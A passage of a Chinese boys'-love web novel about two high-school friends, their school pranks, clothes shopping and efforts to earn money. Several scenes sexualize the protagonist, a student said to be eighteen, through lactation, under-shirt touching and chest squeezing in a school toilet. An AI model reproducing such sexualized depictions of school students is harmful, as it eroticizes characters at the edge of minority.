邱扬北从包里摸出一个mini机交上去,一旁的秦皓璜熟练地从裤兜里掏出一个模型机签字上交。 班长顶着一头新出炉的锡纸烫凑近,看了会儿韩季京的耳钉,吐了吐舌头说:“要不你改天去打个舌钉?超级帅的好吧!” 韩季京拽着喻修越的衣服哦呼了一声,秦皓璜盯着她的舌头,表情十分震惊:“未成年可以打啊?” 班长啧了下:“你以为你现在多少岁了,还拿自己当小朋友呢?该成年了,始皇秦同学。” 不理会秦皓璜一副‘我竟然这么老了吗’的崩溃,她转头问:“两位家人,交手机吗这周? 韩季京来学校一向不交手机,他没有秦皓璜那么大的瘾,放包里也不怎么玩,早上交晚上去找老师要怪麻烦的,喻修越就更不用说了。 晚读没有预备铃声,喻修越抬起手看了眼表,突然开口说:“他的外套还没还。” 什么外套? 韩季京想了好一会儿才反应过来,已经完全把这件事忘掉。所有事情只要喻修越接手他就不会再记到心里,因为这个人总是会安排好一切。 而得到别人的赠礼就和生下来就会呼吸空气一样理所应当,他出现在这个世界上就是为了当小皇帝的。韩季京把秦皓璜扔过来的英语资料抓到手里:“不用还吧,隋霖说他把外套送给我了耶。” 喻修越摊开手:“我不知道把它放哪里了。” 韩季京不擅长纠结这个,现在的目的就是拽着他跟自己一起去晚读,把英语资料塞到他手里,拽着他往教室门外走:“走啦走啦,反正又不会丢,到时候再找找就好了嘛。” “如果不见的话,我再给你买几件?” 韩季京只选择性听到了后半句,整个人都黏过去,抱着喻修越的胳膊还嫌有些不够,直接跳到他背上以表达自己的兴奋之情:“哇塞,显眼包我爱你!我刚选了几件新衣服还没有发给妈妈,你简直对我太好了诶!” 喻修越跟着勾起嘴角:“……我对你简直太好了诶,那你拿什么作为交换?” 韩季京想了想,认真数了数:“我可以把你厨房里吃不完的东西解决掉,还可以帮你把散落的积木模型拼起来,再帮你把游戏账号打到满级。早上起来可以给你叠衣服,看电视帮你换频道,晚上陪你一起睡觉……你还想我做什么耶?” “我想想……”喻修越故作纠结地思考了一会儿:厨房里刚出炉的小甜点总是不翼而飞、阳台上才拼好的巨型积木前几天刚被他一爪子踢翻,每天早上起来房间里全是韩季京乱翻出来的衣服与配饰……“那等回来再说吧,你想买什么样子的?” 韩季京说:“当然是小短裙啊。” 妈妈买的都是长裙子和连衣裙。昨天面前这个人说只有穿小短裙才不会说不适合那句话,但他没有这个类型的裙子。 韩季京把连夜看的那几件和喻修越描述了一番,满意地点点头:“滑滑板也会很方便,这下你肯定会夸我的!” 喻修越推了下眼镜,状似勉强道:“那好吧,我期待一下。” 晚读后是英语听力,韩季京不太想听。 他想着之前每天晚上放听力从没有老师来过,和秦皓璜两个一拍即合,偷鸡摸狗地溜了出去,打算去小卖部买点零食一会儿自习课吃。 “那策划绝对是用脚做的平衡,角色机制简直离谱他妈给离谱开门……”还没出教学楼,秦皓璜猛地伸手摸了摸裤子口袋,表情一僵,“靠,老子校园卡呢?” 秦皓璜把全身上下都找了一遍,校服口袋里面那层白布都被他翻了出来。韩季京下意识也摸了下自己的裤子兜,掏出一把五颜六色的糖果,数目实在太多,一只手抓不完,动作间还往地上掉了三颗。 他弯腰捡起来,吃了一块草莓味的酒心软糖,再抛给秦皓璜一包怪味豆,后者接到手心里看了眼,笑道:“点心,这是不是我上周给你的?!” 这句话翻译过来,意思就是他已经吃过——韩季京把他手里的再拿回来,跟另一个一起拆开塞进嘴里,面不改色哼道:“什么你给我的,这些都是我的!” 把嘴里的咽下去,韩季京又摸了摸另一边口袋,果断转身:“我回教室去拿卡。” 秦皓璜点头:“okay,那我在这等你。” 走廊里嘈杂一片,看样子还没开始放听力。 他们班门没关,白色灯管照得很亮,韩季京正打算直接大摇大摆地走进去,不经意抬头,却正好和站在讲台上的英语老师对上视线。 方柠华在让第一排传试卷,听力和前两节自习课连起来刚好够考一场试。 她扫了眼面前一左一右的两个空座位,目光移回到韩季京脸上,眼睛弯成月牙,语气温柔道:“我亲爱的左护法回来啦?” “右护法呢,怎么没和你一起,他此刻是有什么重要的机密任务吗?” 教室里响起此起彼伏的憋笑声,韩季京看着喻修越慢悠悠抬起胳膊给自己比的手势,就知道晚上绝对没有下课时间了。 想去买零食的心情在这一刻达到了巅峰,韩季京在半秒内急中生智:“他进行人体无法避免的生理活动,正在等我脚踏七彩祥云给他送纸过去!” “哦?”方柠华笑起来说,“那就是不着急了。你先坐下来,把听力听完再去给他送。” 韩季京磨磨唧唧地站回座位上,从抽屉里摸出校园卡悄悄塞进裤兜里,再掏出一包纸举起来,不死心地眨眨眼睛,切换成可怜巴巴的模式:“但是姐姐老师——如果他提前出来了,我还没有过去,让他等的时间太久是不是不太好诶。” “没关系,”方柠华十分善解人意,“我一会儿让你们班主任去送,你好好写题。” 这句话完全无法反驳,韩季京把桌子180度翻转,将背面正对着自己,戴上眼镜一本正经地铺开试卷,写完姓名班级又抬起头:“我就是突然想到,秦皓璜他…嗯、肠道功能特别活跃……” “有多活跃,必须你现在就送吗?” 韩季京秒速小鸡啄米:“对呀对呀,他可能在厕所里正等我呢。” 正当他准备继续胡扯时,秦皓璜突然从前门举着校园卡冲了进来:“韩小点心,我知……” 他说到一半,却发现全班的目光都在自己身上,讲台上方柠华在他看过来时缓缓露出一个怜悯的微笑,秦皓璜愣了一下,一个卡壳,话语在瞬间戛然而止。 在方柠华似笑非笑的目光里,他移动视线和韩季京对视起来,两个人就这样进行了一番无声的交流。 三秒后,韩季京猛地站起来,一个箭步上前,痛心疾首地按住秦皓璜肩膀:“兄弟!你怎么自己就出来了诶!不是说要等我给你送纸吗?!医生说了痔疮不能用力啊!” 秦皓璜:“……” 秦皓璜:“???” 第76章 好哥们秦皓璜顿时瞳孔地震。 但下一秒, 他看着刚发下来的英语试卷面露惶恐之色,脑袋一转,十分迅速地接上韩季京的话。 两个人一唱一和, 接下来的故事被编得越来越离谱,方柠华实在是对此有些无奈,挥挥手让他们早点滚回来, 韩季京如愿以偿地拿着喻修越的一卡通飞奔去小卖部。 路上他郑重地拍秦皓璜的肩,说出一番很有哲理的话:“伟人之所以能成就大事业,就是因为他们从不在意他人评价。” 韩季京的眼神在走廊灯光下熠熠生辉, 半秒后, 秦皓璜重重赞同点头。 他活学活用,借着所有人都知道是瞎编的痔疮一由,痛快地逃掉每天六点半的早操、规避掉体育课的强制三圈、这之后哪怕上课坐一会儿就随便站起来, 黄金二字一出,课任老师也只会用怜爱目光温柔掠过。 韩季京座位在他旁边,看老师讲的正嗨,秦皓璜跟着站起来都没有被批评, 觉得这个借口非常好用, 正想要效仿一下也说自己得了什么病上课不能久坐时,喻修越无情地掐灭他的想法。 他健康得简直不能再健康了, 装不出一点那种整个人都虚脱的有病感觉,刚说出口绝对会被火速戳穿。更何况没病也不耽误韩季京每节课都超大声接老师话茬, 这个想法刚刚诞生就中道崩殂。 韩季京周一上台演讲,喻修越帮他写的稿子只念几句便开始自由发挥。在全场瞩目之下,他复述了一遍作案过程、分享了三个翻墙小技巧,朗读了心得与体会,就是没说到底改不改。 下台后他把自己的经历和喻修越的对比——后者打耳钉在老师眼里完全无事发生——在心里更加坚定坚持继续翻墙战略:毕竟得对得起检讨的那部分内容。 于是在三周后一个普通的周四, 他又一次十分光荣地被年级领导抓了个正着。括弧,和隋霖一起,括弧完毕。 主要是这三周实在闲来无事,上课、刷题、打球、和喻修越一起回家、试穿新衣服滑滑板、跟隋霖开黑打游戏……那面白墙已经成为他们两个早上集合的打卡地点,见面猫耳白毛男总是给他带糖果或者奶酪棒,所以韩季京每天都要绕去那里跟他汇合。 他和往常一样翻墙、转身、扬起手臂蹦跳着绕场一周,扬唇向隋霖炫耀求夸奖,情绪价值向来给很足的对方却只保持蹲在墙上的姿势,神色冷淡地盯着自己身后的方向。 怎么回事,韩季京疑惑地顺着他的视线回头,西装革履的中年男人正站在那里笑眯眯看他。 基于此,隋霖喜提周一升旗台演讲,韩季京没有被目击翻墙现场,只以同行罪名被逮捕入年级主任办公室。 开学到现在的第三次犯事。处分记过,可这是A班学生,上大学档案不能留黑历史;回家反省一周,可这是A班学生,不能落下太多学习进程……思来想去,韩季京荣获8000字检讨和课堂公开批评——班主任老柳严肃板脸版。 唯一可惜的一点就是,喻修越贯彻落实好学生人设一定要走正门,遗憾地无缘这等殊荣。 韩季京晚上谈到这件事时如此叹气:“但凡他早来一点点,我就可以和隋霖一起上台了诶!” 重要的是‘上台’这两个字,喻修越理解他的意思,浅浅“嗯”了一声。 他半躺在沙发上单手翻过一页《所谓的高情商就是会说话》,另一只手顺着韩季京衣摆下摆伸进去,开口道:“过几天考试,保持一下物理成绩?” 韩季京趴在他腿上翻购物软件,恍然大悟地想起来:“对啊,单科第一也可以上台!” 对于他而言,无论是赞扬或是批评,上班级讲台还是学校升旗台,无一例外都是一件值得骄傲的事情。 小学二年级流行画王八,韩季京趁午休用不可水洗彩笔给讲台上累到睡着的两个老师脸上画满七彩简笔画,监控高清实时记录下他的罪行,被要求周一升国旗时面向全校师生自我反省。 妈妈把他接回家问他为什么这样对待老师,韩季京也不认为自己有做错事,只是跑到阳台,把鱼缸里养的两只黄喉拟水龟高高举起来递给妈妈看。 他的两颗小犬牙还未发育成型,红褐色的眼眸又大又亮,手和眼睛都湿漉漉的,摇着尾巴欢快地回答:“因为喜欢呀。” 喜欢小乌龟,也喜欢老师,所以给老师脸上画小乌龟。 妈妈卷起他大大的耳朵,告诉他写好检讨稿后不可以再这样做,既然受到惩罚就要进行改正。 韩季京眨了下眼睛,苦恼地站在原地思考了几分钟。晚上吃饭在碗里比爸爸多扒出来一个花朵形状的荷包蛋,第二天去学校又收到了老师送给他的乌龟玩具,觉得好像没有受到惩罚。 没有惩罚就不需要改正,上升旗台演讲从此也变得如同是在奖励。 “那显眼包,”韩季京点着平板问,“我是不是不能再从那里进学校了啊?” 他们学校位于市中心,墙砌的不算很高,身体素质优秀的随便一跃都能翻过去。门卫老爷爷眼睛不是很好,登记出入一点也不严,平日里拿着走读证和假条就可以随便外出,学校里除他和隋霖外也没有什么人会翻。 但最近被抓住的次数太多,有一些人开始模仿他的行为,老师说即将多加一层顶部带尖刺的防攀岩栏杆,并且加强这方面的管理。 喻修越不回答他这个问题,只是说:“如果控制住行为,我每天都给你下单一件新衣服。” 韩季京想了一会儿,表情认真地点开录音:“你再说一遍!再加上‘每一件都写800字的夸奖小作文’。” 喻修越继续翻了一页书,抬头笑起来:“韩小点心,我给你买衣服诶,还要附赠夸奖吗?” 韩季京点点头看他:“不然呢,那我穿着给谁看?” 他现在有三件小短裙,总共得到了喻修越的0个认可。 上周末穿的是他最喜欢的机甲风:灰色高领无袖背心和不规则拼接短裙,外套是比背心短了一截的长袖拉链外套,做造型时,特意在两侧嫁接了长马尾挽成丸子头。 出门前韩季京坐在地上戴腿套,抬起头让喻修越夸他好看,后者慢悠悠推了下眼镜,上下扫视了一圈,目光落到他毫不收敛的坐姿和完全遮不住腿根的裙沿,再次开口说:“你不适合穿短裙。” 韩季京尾巴都不甩了,不满地伸手拽他:“你说了会夸我的!” 喻修越咬定‘那你明天穿短裙,我绝对不说’这句话仅限那个周日有效,而且在学校答应给他买衣服,也只说了会‘期待一下’。 韩季京又不是那种可以被随便糊弄过去的笨蛋。虽然会选择性耳背不听其他人的话,但听不到自己想听的话就誓不罢休。 他缠着喻修越整整半天,收到了无数路人的夸赞和十多个小姐姐的合照请求,就是没收到喻修越的一句好看。 裙子的问题、妆造的问题、或者是搭配的问题? 当天晚上韩季京靠在喻修越身上,一边吃递到嘴边的水果一边滑平板,把除了外貌的所有因素都反思了一遍,越想越坐不住,发誓下一次要这个审美异常的人被他眼前一亮。 难道是喻修越不喜欢辣妹这一款? ——就在翻墙的这个周四,韩季京觉得自己发现了真相。 下午第二节的体育课,韩季京跑完惯例的三圈,再和隔壁体育班的好哥们打了一场激烈的篮球赛。下课铃响起的瞬间,他扯着短袖的领口坐在墙壁背阴处的台阶上,累到不愿意多说一句话。 就在这时,喻修越逆光而来,手里握着一瓶冒着冷气的电解质水,施施然递了过来。 他穿着校服短袖,鼻梁上仍然架着那副黑框眼镜,浑身干干净净,脖子上没有戴链子,手腕上也没有乱七八糟的手串,只右耳耳垂的黑色耳钉一闪而过。再结合一下喻修越平时的穿搭:学院风、少年感、看起来就很懂事可靠的好学生…… 韩季京觉得自己的思路实在无懈可击。 什么一米八五的身高合不合适,一米九他照样搭配着穿,韩季京从回来拿起平板的那一刻就开始凭借自己心意添加购物车。 他举着购物车界面给喻修越看,里面基本都是乖巧可爱的学院风褶皱裙,还有一些他选的小配饰。 韩季京强调道:“800字小作文,一个字也不可以少。” 喻修越嗯嗯两声:“那就是说,我每件都要写一篇语文作文?” 语文作文的字数刚好是800字,韩季京给他看了后直接按下付款:“反正你写作文那么快,夸夸我怎么了嘛!” “你要求好多啊韩点心,”喻修越动了动手指说,“行动开始了吗就直接下单……又要我干这个,又要我干那个,我的报酬呢?” 小道消息说执政官马上就要复刻,韩季京零花钱全都用来充值游戏,现在一穷二白,卖乖道:“但是我又控制不了,这怎么可以怪我?” 【】白色的顶灯下, 【】韩季京抬手去摸没被碰触的那一侧, 十八岁这个阶段正是身体发育的时候,自从他发现这里单手包不住后,最近这些天就莫名其妙地开始传来异样的感觉。 【】刚开始只有——,韩季京睡起来后随便碰两下,套上衣服就不怎么放在心上,照样滑滑板打球在下课后疯跑。 但上周周三晚上,他趁着喻修越开门,一个偷袭跃步跳到他背上,嘴角得意扬扬的弧度还没摆出来,布料就被挤压而过,冷不丁受到刺激,控制不住地当场呜咽出声。 【】楼道里的声控灯一闪一闪,韩季京进门后扯开领口低头去看, 小狗脑袋完全不知道出现这样情况该怎么办,他掏出手机查询百度,网上的医生说是正常现象,每天按时揉一揉就没事了。 韩季京碰了几下,一点感觉都没有,反而越来越不舒服,转身就缠着喻修越让他帮自己。 【】本以为可以抑制一下,但在喻修越的帮助下,最终效果却适得其反。 前两天早上起来,被子布料都被白色的液体润湿。韩季京谨慎地盯着颜色比周围暗了一些的地方,在脑海里反应了一会儿,发现这个东西只会在半夜泌出,就把这些全部抛之脑后。 喻修越把他嘴里的衣服扯下来:“不要岔开话题,我帮忙的报酬呢?” “可以白嫖吗?”韩季京把平板扔到沙发上,抱住他的手臂,哼唧起来,“我衣服都是你买的,现在没有钱耶……” 第77章 韩季京觉得自己有点穷得叮当响, 打算去和好哥们一起卖艺。 他答应每天给喻修越两块钱当作报酬是一方面,另一个方面,是因为喻修越马上要十八岁。 去年韩季京过生日, 收到他送的一个三十厘米、纯手工制作的纸花灯笼,大耳朵小狗惟妙惟肖的神韵被刻画得淋漓尽致,饭桌上喻女士特意指出:某喻姓高中生找师傅学了小半年才有这一个成品。 韩季京动手能力堪忧, 倒是拆东西的天赋与生俱来,做不出来如此高级的东西,打算给喻修越的成人礼物采取简易结合的方法。 他几个月前买了一千张星星折纸, 想到什么就写什么, 落款画上黑白色小狗,现在已经折完装入会发光的彩色罐子里。然后和妈妈商量了一下,决定给喻修越送一个山地自行车。 像他喜欢滑滑板一样, 喻修越喜欢飞无人机、喜欢公路骑行、喜欢养花花草草……好吧,最后一个是被迫喜欢,毕竟不养的话那些花就会死掉。 喻修越给他买东西的钱都是假期飞无人机赚的,所以给对方的礼物, 韩季京也不打算让妈妈出资。 他先是敲代理人的聊天框, 得知下周会有个地方性商业赛,冠军会得到三千奖金和一双板鞋。韩季京虽然没一毛钱工资, 但有品牌方赞助的滑板,身为职业的Flow滑手, 在这种赛事里跑个前三还是没有任何问题。 于是韩季京随手发了个朋友圈,配了一个‘钱来,钱四面八方来’的表情包。 同校那个粉丝量不低的小网红来找他聊天,两个人聊着聊着,对方突然说他在新视频里出镜的话, 收益最高可以占一九的一。 天啦噜,露个脸就能天降横财! 韩季京秒速回了一个小狗ok。 小网红就是好哥们方宁司,那个被举报的无辜受害群众。 韩季京和他是在高一认识的。理科A班的英语老师方柠华是他隐藏在人群中不愿意向外透露的亲姐,整个年级都没什么人知道。 但恰好那天韩季京英语听写二十个词错了十一个,抱着本子来找老师负荆请罪,进门和卖惨要零花钱的他撞了个正着。 方宁司没去集训基地,隋霖转学来后也雷打不动在教室里上课,一个舞蹈生一个美术生,两个人在顶楼的同一个班里学文化课知识。 他最后一条消息如此说明:【接了一个鞋子类软广,按以往数据大概就是六万多。白毛霖也一起,嘿嘿,说他的那份给你!】 韩季京盯着这句话,二八的话就是一万二,一切困难都迎刃而解,不由得高举着手机倒在喻修越怀里:“显眼包,隋霖简直对我太好了诶!” 喻修越把他的耳朵捏成一团:“韩小点心,你穷到……身上连两块钱都没有了?” “对啊,”韩季京把腿放到茶几上,短裤下的长尾巴随意扫过沙发垫,在他平板上乱按一通,看到‘是否重新开始’的文字才满意点头,“我为什么这么穷,你不应该反思一下自己吗?!” 他最近在攒钱给喻修越买新自行车,没钱肯定都是喻修越的错。 莫名背负罪名的喻姓高中生盯着突然输掉的游戏界面,把耳朵放开去勾他的背心肩带,扬起唇说:“好吧,但是不太想反思诶,那下次我给你买?” 两个人说的不是一个事情,但说出去惊喜就没有了,韩季京闭上嘴巴,打开手机钱包自带的记账器算数。 他的零花钱充游戏后还剩了一点,按理说两块钱肯定付得出来,但是最近一跑步胸口就开始上下跳动,沉甸甸的分量完全忽视不了。 不影响打球滑滑板,韩季京就不在意。但前几天早上第二节课下做早操,秦皓璜频频回头,在集合时震惊发问道:“你什么时候去健身房练胸了?这练得也不到位啊,我看视频上人家都是……” 秦皓璜话说到一半就停住,超经意间掀起黑白色校服短袖,摆出超凡队长姿势展露自己的身材。 韩季京抬腿踹他一脚,随后不甘示弱地撩开衣服,把腰腹的六块腹肌炫耀给凑过来看乐子的每个人。 他描绘着形状漂亮的轮廓,表情分外不屑道:“你才去健身房呢始皇秦!这东西我跑跑步就有了,完全轻轻松松好吧!搜一贼~” 他对于自己的身材一向信心爆棚,一被夸就有些过于得意,恨不得直接去操场跑两圈。在被起哄着即将撩到胸口时,被走过来的喻修越一把扯了下来。 炫耀到中途就突然被打断,韩季京顿时有些小小不满,捏住衣服,瞪圆眼睛憋气看他,如果尾巴可以显现,此刻已经可怜巴巴地甩也不甩了。 喻修越扯着他的校服下摆,低头站在侧前方,看不太清脸上的神情,只简单拽了一下被韩季京捏住的衣料。 怎么感觉显眼包好像有些生气? 韩季京观察了几秒,想再把校服短袖掀起来。但想了想,还是松开了手心的衣服。 秦皓璜仍然在对面变着花样摆姿势,同班一个女生笑嘻嘻打趣问:“学神天天坐在座位看书,不健身也不运动,该不会是羡慕了吧?” 喻修越盯着他把手放开才抬起头,听到这句话,笑眯眯回复道:“嗯,对啊。所以有些见不得他这样炫耀。” 韩季京直接扑上去,赖在他身上让他背着自己走,揽住喻修越的脖子说:“显眼包,明明你也有诶。” 喻修越是黑带,家里还有健身房,韩季京知道他那样说只是不让自己掀衣服,但原因…… 总不能是因为嫌弃自己胸大得不正常吧,韩季京瘪了下嘴,鼓起左侧的腮帮子。 大课间休息时间很长,喻修越带着他一路走到刚摘了维修牌子的厕所,地板被清洁工刷地锃亮,窗台上放着空气清新剂,没有一点奇怪的味道。 很多人已经习惯去二楼,这个时间段只有他们两个。喻修越关上门,熟练地把衣服下摆包在卫生纸里让韩季京叼住。 他抬手按了按,找准位置,捏了下软包里比皮肤还要硬一点的东西。 韩季京还在疑惑他准备干什么,几秒后伴随着揉捏闷哼一声,眼睁睁地看着那里突然冒出几股白色的液体,即将顺着鼓包一路滴到腰腹。 小狗脑袋瞬间震惊起来,急忙从裤子口袋里抓出一团不干不净的纸胡乱去擦。 这些天喻修越天天揉也没有这样,明明只有半夜才会泌/出,韩季京虽然没有什么羞耻心,但当人当久了,遇到这种事还是慌得耳朵都快冒出来。 “怎么回事啊显眼包!”韩季京泪眼汪汪地看他,“明明白天没有的,我是不是真的性别有问题,要告诉妈妈吗?” 衣摆一放下来就被沾湿,湿漉漉的怎么擦也擦不干净,小狗羞耻心大爆发,穿上喻修越的外套,在得到否定回答后,掏出手机查找攻略,连忙买了几条运动背心和防/溢/乳/垫。 最后一点结余的零花钱就此也从手心飞走。 韩季京翻完了自己的账单,转过脸期待道:“那你直接把钱转给我?” 往常韩季京只会直接拿他手机挑好下单,反正支付账号设置有他的指纹。 喻修越“嗯?”了一声,猜测道:“难不成要拿着我给你的钱,再转两块钱给我?” “你怎么这样想!”韩季京心虚的声音都大了几分贝,把头埋进他怀里闷声说:“因为、因为我害羞啊!拿你手机买、买……” 好像变成了小结巴,韩季京话语拐了个弯,清清嗓子理直气壮道:“十八年革命友谊,你怎么掉进钱眼里了显眼包?!你不可以这样!来让我帮你承担金钱与庸俗的罪孽吧!” 喻修越表情微妙道:“你最近又玩什么新游戏了?” “没玩啊,”韩季京直起身体,尾巴用力地上下拍打沙发垫子,伴随沉闷的声响开口,“……那我就是什么都没有,两块钱也拿不出来,不答应的话我就哭给你看!” 喻修越滑动平板,点击照相的图标:“那这太好了,等我照个相打印出来裱在墙上。韩小点心第一次掉眼泪,非常值得纪念。” “你好过分啊显眼包。”韩季京茶色的眼睛疯狂眨眨眨,故意超大声说话,“什么第一次,我真要哭了?我真的要哭了?我真真真要哭了……?” 喻修越静静看着他,几秒后,韩季京安静下来,哼唧道:“好吧,我真的哭不出来耶。” 韩季京长这么大以来,还没有任何一样东西或事情能让他伤心到掉眼泪。 毕竟黑白色小狗的世界里没有任何的负面情绪。他是会撒欢的彩虹跳跳糖,由融化的黄油、被阳光烘过的棉花糖云朵、蜂蜜铸成的星星和无数个快乐因子组成。 除了有时候自习课上老师放煽情片,同学们都被感动地掉眼泪,他才会被剧情——嗯,通常这个时候,他都和小伙伴们溜出去在外面操场踢足球玩,压根不知道电影有什么剧情。 “攒钱好难啊,显眼包你好坏蛋。” 韩季京窝在他怀里耍赖,突然觉得拿对方的钱给他本人买礼物有些不太好,想起来另一位慷慨大方的人,感叹了一句:“对耶,我还可以去找隋霖帮我,他那么好,天天给我带小零食吃,还把自己的那份给我,肯定不会收我费用的!” 喻修越把韩季京的尾巴尖缠到食指上,用另一只手开始游戏的新一场对局,不经意间随口问道:“对你好的评判标准是什么?这样的话…那我和他比,谁对你更好一点?” 韩季京心里在想着白毛和耳朵,还有猫耳白毛男慷慨的、解燃眉之急的那二八分,和喻修越每天收费两块钱的行为比起来,简直是天神下凡。 他秒速脱口而出:“隋霖啊。” “这样吗?”喻修越沉默了一瞬,放开他的尾巴,关掉开局几分钟的游戏问:“那你打算什么时候去找他?” 韩季京后知后觉反应过来他说了什么,愣在那里几秒,把平板甩飞到一旁,毫不客气地贴过去占据了它的位置。 虽然知道是自己的回答有问题,喻修越给自己的东西完全不能用金钱来衡量。但韩季京还是疯狂摇他的胳膊,先一步恶人先告状:“你在说什么诶显眼包,你怎么可以这样说?我不是你养的吗?!” 喻修越没有立刻回话,几秒后,把摔到地上地平板捞起来,划出聊天软件的小窗分屏,缩小到右上角,再点开置顶联系人的转账界面。 “对啊,”喻修越摸了摸碎掉的屏幕角,咬住他凑到面前的耳朵说,“所以我相信你不会去的。” 第78章 连着上六天时, 周五下午只上两节课,到晚自习之前会有三小时放风时间。 方柠华提前五分钟说下课,韩季京把笔扔到桌子上, 一个铲滑飞到教室最后一排,缠着喻修越跟他一起去逛小树林。 天气急速升温,随处可见的树上绽放满各种各样漂亮的花。韩季京早上在来教室的路上摘了朵给喻修越看, 被后者随手夹进手上在背的单词本里,变成扁扁的一片简易书签。 喻修越还在写英语卷子,用笔尖点了点草稿纸:“怎么要跑那么远?” 门口就有小花园, 但韩季京想去的地方在学校最东边, 里面有小山、亭子、短短的河流…甚至还有一座桥,从教室走过去都要七分钟。 韩季京在翻那本单词书,找到夹着花的那一页, 把干花取出来,小心翼翼塞进桌子右上角的物理练习题里,再随便把英语单词书扔到一边。 做完这一切,他跟有多动症一样在桌子旁滑来滑去, 最后干脆把喻修越的笔直接抓到手里, 拽住他胳膊说:“因为林晓佳说那里特别特别好看啊!你又没有事情干,所以不可以不陪我去!” 林晓佳收拾完桌子正要回宿舍, 闻言凑过来,把手帐本摊开说:“是超级好看哦, 这些都是我中午捡的,还有学神你太卷了吧,陪对象不比写作业重要?” 喻修越推了推眼镜,看到邱扬北把转过来一半的头又默默转了过去,没忍住笑了下问:“那好吧, 我陪同的酬劳呢?” 韩季京眨眨眼睛,不可置信地踢他的凳子:“显眼包,你最近真的好离谱啊!” 最近要他陪自己干点什么都要报酬,美名其曰兄弟之间需要等价交换。具体要什么也不明说,那能是什么,韩季京每天唯一的支出就是付喻修越的委托费。 “我们十八年的亲兄弟感情呢?!”韩季京恶狠狠威胁说,“你再这样我要告诉小喻妈妈你欺负我了!” 林晓佳揶揄道:“要男朋友陪还得付费吗?韩小点心你好惨哦。” 韩季京万分赞同地点点头,正想接她的话说些什么,班长从前门口拐过来拍拍他的肩:“左护法何故如此?学神不陪我陪你,那什么…艺术班那个方宁司找你。” 金主来袭?! 韩季京立刻回头。一个身高几乎与门框持平的男生正抱着胳膊靠在门口,在他看过去后,很酷地扬了扬下巴。 韩季京瞬间不纠结喻修越是什么意思了,把笔塞回他手里,留下一句“我去赚钱给你付款”,表演杂技般从桌子上跳过去打招呼。 “哥们,你这身好酷啊!” 方宁司一米九二,留着半长发,门帘挑染着几缕红毛,浑身上下能代表学生身份的只有校服裤子。他上半身套着件大红色的潮牌T恤,叠戴着一堆饰品,不用细看就知道是那种不学习但很受欢迎的潮流酷哥,随便跳跳舞就有百万粉丝。 穿搭很酷,性格也很潇洒不羁,认识两年,光是韩季京印象里叫得出名字的男朋友就有八个。现任对象是高三生,被举报后怕耽误人家高考,目前正在单方面闹分手中。 “不然呢?”方宁司很有偶像包袱地挑挑眉:“现在没事吧?和我去拍视频。” 隋霖就站在门外,衣服上沾了很多彩色的颜料,脸上也有一点,韩季京从口袋里摸了摸,掏出一张皱巴巴的纸凑过去胡乱擦了擦,发现这些颜料已经干掉。 方宁司狐疑地问:“纸是干净的吗?” 韩季京也不清楚,放兜里的东西一般都不记得干过什么,思考了一会儿说:“应该?” “没关系,”隋霖很包容,“我的脸也不是干净的。” “你看看人白毛霖性格多好。”方宁司把手搭在隋霖肩上说,“我前对象要是有哥们一半善解人意就好了,果然谈恋爱就应该谈性格稳定的。” 不是还没分手? 方宁司换对象比吃饭还快,喜欢的人都是一种类型,韩季京有时候都分不清那些人的区别,但好哥们说的话一律赞同:“对啊对啊。” 方宁司问他刚刚在里面干什么,韩季京说喻修越不陪他去赏花,方宁司就说什么人啊那我们去吧,韩季京点点头,又强调说:“虽然他不陪我,但是你不可以说他不好诶。” “……”方宁司无语,“受不了了,恋爱脑能不能离我远点?” 再说喻修越也没有说不陪他。韩季京有朋友在就能自己遛自己,象征性维护一下:“他要认真学习然后上班养我啊,这叫可持续发展。” 一旁的隋霖沉默了三秒,问:“恋爱脑是什么?” 韩季京沉思,用动物世界里通俗易懂的话回复道:“大概和认主是一个意思吧。” 方宁司一阵恶寒:“好独特的解释啊,我竟然无法反驳。” 七拐八拐到地方后,方宁司找了一个能拍到河的位置,把手机架在假山上,问他:“你跟那谁认识十八年了,都不烦的吗?” 韩季京“芜湖”着转了一圈,把掉落下来的花瓣一股脑揽在怀里,从里面捡出几片最好看的塞进口袋。 一片给妈妈,一片给显眼包,一片给爸爸……听到这句话,他坐在草地上歪歪头:“为什么会烦啊?” “每任对象我谈了三天就会烦,很无聊啊不觉得吗?”方宁司说,“更何况你们基本没怎么分开过吧,谈恋爱这么久不说,待久了也肯定会腻吧?” 韩季京还没有这样觉得过。 毕竟每一天都有不同的好玩事情发生,回家还会有口味不一样的小蛋糕吃,待在一起就很开心。反正只要开心就好了,考虑那么多干什么,其他情绪全部忽略,他只是一只小狗而已。 他从话语里挑挑拣拣,勉强解释说:“我和显眼包没有谈恋爱。” 方宁司问:“那你们不是在一起?” 这是在问什么废话。韩季京把花瓣塞进嘴里:“我和他一直在一起啊。” “谈恋爱就是在一起吗?”韩季京又不是不知道,但他有他自己的理论,“不谈也可以,不影响我们不会分开。” “我真搞不懂,”方宁司啧啧称奇说,“你们从小一起长大的都这样?” “你这种才奇怪吧,”韩季京把喜欢的花瓣叠起来塞进裤兜,剩下的表演一个天女散花,拍拍衣服站起来说,“谈那么多是怎么做到的?” “我又没有同时谈八个。”方宁司耸耸肩,“哥们很纯爱的好吧,白毛霖你说呢?” 隋霖蹲在河边盯着里面的鱼看,半晌回复说:“点心说得对……你说得也对。” 方宁司对这个天然呆无话可说,转头开始复述要拍摄的视频脚本。韩季京注意到他胸口不断摇晃的长项链,没忍住用手扯了两下。 短短八百字,韩季京一会儿摸这个一会儿拽这个,说上两三句话就开始打岔,末了又跑去和隋霖一起蹲着看鱼。 “想吃。”隋霖低声说。 韩季京摇摇头抗拒道:“我不喜欢吃鱼。” 方宁司在过程中失去了两枚戒指一条项链和两串手链。挂断了另一个手机上不知道是谁打来的第七通电话,抬起头看到两个人还蹲在那里,突然莫名觉得有点心累,像是在和两个宠物出来春游。 “……喻修越那家伙怎么受得了的?” 韩季京无辜回头:“怎么了啊,我怎么了?” 隋霖跟着一起转头,把棒棒糖塞进韩季京嘴里,跟着说:“点心只是一只活泼的小狗。” 韩季京含着棒棒糖点点头。 “?”方宁司拍拍A4纸,“这就连人也不当了吗?我说不对吧哥们……虽然你天天上升旗台气老师的行为狗狗的,但也不真是只狗吧?” “嗯……”隋霖想了想,说,“我也不是人。” 韩季京把妈妈的叮嘱牢记在心:“你在说什么啊方宁司,我当然不是一只狗了啊,你是在嫌我烦吗?你怎么可以嫌我烦诶,显眼包和隋霖都不觉得我烦,这明明是你的问题。” 方宁司浅浅叹气:“来找你确实是我的问题。” 隋霖用手捏捏韩季京蓬松的卷毛,话语拐了个弯到了正题:“我不会跳舞。” 方宁司就没打算让他跳,拉隋霖来就是为了他的脸。一头白发实在显眼,往镜头前一站,不用说话就能吸引眼球。 